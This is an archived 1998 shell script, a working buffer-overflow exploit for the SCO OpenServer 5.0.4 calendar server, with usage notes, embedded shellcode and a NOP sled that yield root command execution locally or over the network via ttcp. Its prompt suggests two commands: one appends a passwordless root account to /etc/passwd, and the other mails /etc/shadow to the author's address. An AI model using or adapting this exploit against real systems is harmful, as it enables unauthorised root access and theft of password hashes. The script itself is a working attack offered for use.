home *** CD-ROM | disk | FTP | other *** search
- #!/bin/sh
- #
- # ... The punishment for inobedience ...
- #
- # This is a local/remote buffer overflow exploit for calserver bug
- # (SCO OpenServer Enterprise System v 5.0.4p).
- # If you have any problems with it, drop me a letter.
- # Happy New Year !
- #
- #
- # *** Brief manual ***
- #
- # Local mode is a default mode for the calendar server. If calserver
- # runs on your site in this mode just try to run the exploit with only
- # argument "local". If calserver operates on your or other sites in the
- # network mode you should use exploit with two arguments: "<sitename>" and
- # "<portnumber>". Portnumber is usually equal to 6373 but other values are
- # possible. Don't use "localhost" or "127.0.0.1" as a <sitename>. Check
- # "/usr/lib/scosh/calargs" file to see the current mode of the calendar
- # server.
- # Execution of the exploit is similar to a blind execution of the
- # following command with root permissions: "/bin/sh -c <command>".
- # There are a few limitations for number and length of commands. The
- # length of a command should not exceed 75 symbols. The number of
- # executable commands depends on calserver configuration and it is equal to
- # the number of child calendar servers which are basically 4 by default.
- # Therefore running of this exploit must be very effective. You are free
- # to use sequences of a shell commands separated by ";" as a <command>.
- #
- # 9.999,99
- #
- # ----------------------
- # ---------------------------------------------
- # ----------------- Dedicated to my beautiful lady ------------------
- # ---------------------------------------------
- # ----------------------
- #
- # Leshka Zakharoff, 1998. E-mail: leshka@leshka.chuvashia.su
- #
- #
- #
- calserver_pipe="/usr/lib/scosh/pipes/pdg18e5_0000"
- msg="/tmp/msg"
- msghdr1='\02\03\0\0\0\0\0\0\0\0\0\0'
- msghdr2='\0\0\0\0\0\0\0\0\0377\0377\0377\0377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'\
- '\0\0\0\0\034\0\0\0\0\0\0\0'
- codes1='\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0200\0375\0377\0177\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0353\0177]U\0376M\0230\0376M\0233\0376M\0347\0376M\0353\0376M\0354\0376M'\
- '\0355\0377E\0357\0376M\0364\0303/bin/sh\01-c\01'
- codes2='\01\0215\05;\01\01\01\0232\0377\0377\0377\0377\07\01\0307\0304\0200'\
- '\0375\0377\0177\0350v\0377\0377\03773\0300P\0201\0305\0234\0377\0377\0377U'\
- '\0201\0305\0375\0377\0377\0377U\0201\0305\0370\0377\0377\0377UU[\0213\0354'\
- 'PUSP\0353\0306'
- rm -f $msg
- if [ _$1 = "_" ]
- then
- {
- echo -n "Host [local] :"
- read hostname
- if [ _$hostname = "_" ]
- then
- hostname="local"
- fi
- }
- else
- hostname=$1
- fi
- if [ _$hostname = "_local" ]
- then
- if [ -p $calserver_pipe ]
- then
- echo -n $msghdr1>$msg
- else
- echo "Error opening calserver pipe"
- exit 1
- fi
- else
- if [ _$2 = "_" ]
- then
- {
- echo -n "Port [6373] :"
- read portnumber
- if [ _$portnumber = "_" ]
- then
- portnumber="6373"
- fi
- }
- else
- portnumber=$2
- fi
- fi
- echo "Type a command (max length=75), for example :"
- echo '"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd"'
- echo '"mail leshka@leshka.chuvashia.su</etc/shadow"'
- echo -n " <-----------------------------------75"
- echo -n "------------------------------------>\n>"
- read c
- echo -n $msghdr2$codes1>>$msg
- printf "%75s" "$c">>$msg
- echo -n $codes2>>$msg
- if [ _$hostname = "_local" ]
- then
- cat $msg>>$calserver_pipe
- else
- {
- echo -n '\0377\0377\0377\0377'>>$msg
- cat $msg|/etc/ttcp -u -t -l762 -p$portnumber $hostname
- }
- fi
- rm $msg
-
-